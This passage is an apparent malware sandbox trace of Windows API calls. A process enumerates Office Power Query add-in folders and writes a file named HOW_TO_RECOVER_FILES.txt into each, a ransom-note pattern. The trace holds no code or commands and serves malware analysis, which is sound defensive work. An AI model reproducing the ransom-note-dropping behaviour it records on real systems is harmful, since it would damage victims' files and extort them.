Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca", lpFilePart=0x0) returned 0x68 [0211.904] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134b520 [0211.906] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.906] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cfbc75, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cfbc75, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0211.906] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61b241f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0211.906] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0211.906] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0211.907] FindNextFileW (in: hFindFile=0x134b520, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0211.907] FindClose (in: hFindFile=0x134b520 | out: hFindFile=0x134b520) returned 1 [0211.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0211.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0211.907] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0211.907] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca", lpFilePart=0x0) returned 0x68 [0211.907] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ac20 [0211.908] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0211.908] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x4cfbc75, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x4cfbc75, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5101cbd, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0211.908] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x61b241f, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x61b241f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x61b241f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x28040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0211.909] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1ae94c9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1ae94c9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x33040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0211.909] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0211.909] FindNextFileW (in: hFindFile=0x134ac20, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3f46636, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x3f46636, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x3f46636, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8aaa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 0 [0211.909] FindClose (in: hFindFile=0x134ac20 | out: hFindFile=0x134ac20) returned 1 [0211.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0211.910] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0211.910] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0211.910] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0211.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\ca\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\ca\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0211.912] GetFileType (hFile=0x808) returned 0x1 [0211.912] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0211.912] GetFileType (hFile=0x808) returned 0x1 [0211.913] WriteFile (in: hFile=0x808, lpBuffer=0x3759988*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x3759988*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0211.913] CloseHandle (hObject=0x808) returned 1 [0212.102] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.102] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs", lpFilePart=0x0) returned 0x68 [0212.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0212.104] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.105] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.105] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf134fca5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.105] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb654e78, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb654e78, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb67b102, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.105] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.105] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0212.105] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0212.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.106] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.106] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.106] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs", lpFilePart=0x0) returned 0x68 [0212.106] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0212.107] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ee20e1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.107] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2ee20e1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2ee20e1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2f5480d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.107] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf134fca5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf134fca5, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.107] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfb654e78, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfb654e78, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfb67b102, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x32aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.107] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.108] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1887f3e, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1887f3e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x18ae17b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 0 [0212.108] FindClose (in: hFindFile=0x134ca30 | out: hFindFile=0x134ca30) returned 1 [0212.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec100) returned 1 [0212.108] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0c0) returned 1 [0212.109] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x206ebc10, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0212.109] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec130) returned 1 [0212.109] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\cs\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files\\microsoft office\\root\\office16\\addins\\microsoft power query for excel integrated\\bin\\cs\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x808 [0212.110] GetFileType (hFile=0x808) returned 0x1 [0212.110] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x206ec0a0) returned 1 [0212.110] GetFileType (hFile=0x808) returned 0x1 [0212.111] WriteFile (in: hFile=0x808, lpBuffer=0x33eb728*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x206ec1f8, lpOverlapped=0x0 | out: lpBuffer=0x33eb728*, lpNumberOfBytesWritten=0x206ec1f8*=0x5d0, lpOverlapped=0x0) returned 1 [0212.112] CloseHandle (hObject=0x808) returned 1 [0212.112] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x206ec1c0) returned 1 [0212.112] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da", nBufferLength=0x105, lpBuffer=0x206ebc60, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da", lpFilePart=0x0) returned 0x68 [0212.112] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Microsoft Power Query for Excel Integrated\\bin\\da\\*", lpFindFileData=0x206ebee0 | out: lpFindFileData=0x206ebee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x134ca30 [0212.118] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0212.118] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x605aed7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x605aed7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6081126, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0xf040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Excel.resources.dll", cAlternateFileName="MICROS~3.DLL")) returned 1 [0212.118] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x56d17f1, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x56d17f1, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x56d17f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x26aa8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Client.Windows.resources.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0212.118] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6866e01, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6866e01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6866e01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x32040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Mashup.Document.resources.dll", cAlternateFileName="MICROS~4.DLL")) returned 1 [0212.119] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5c164a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5c164a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5c164a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x8b040, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.MashupEngine.resources.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0212.119] FindNextFileW (in: hFindFile=0x134ca30, lpFindFileData=0x206ebea0 | out: lpFindFileData=0x206ebea0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, 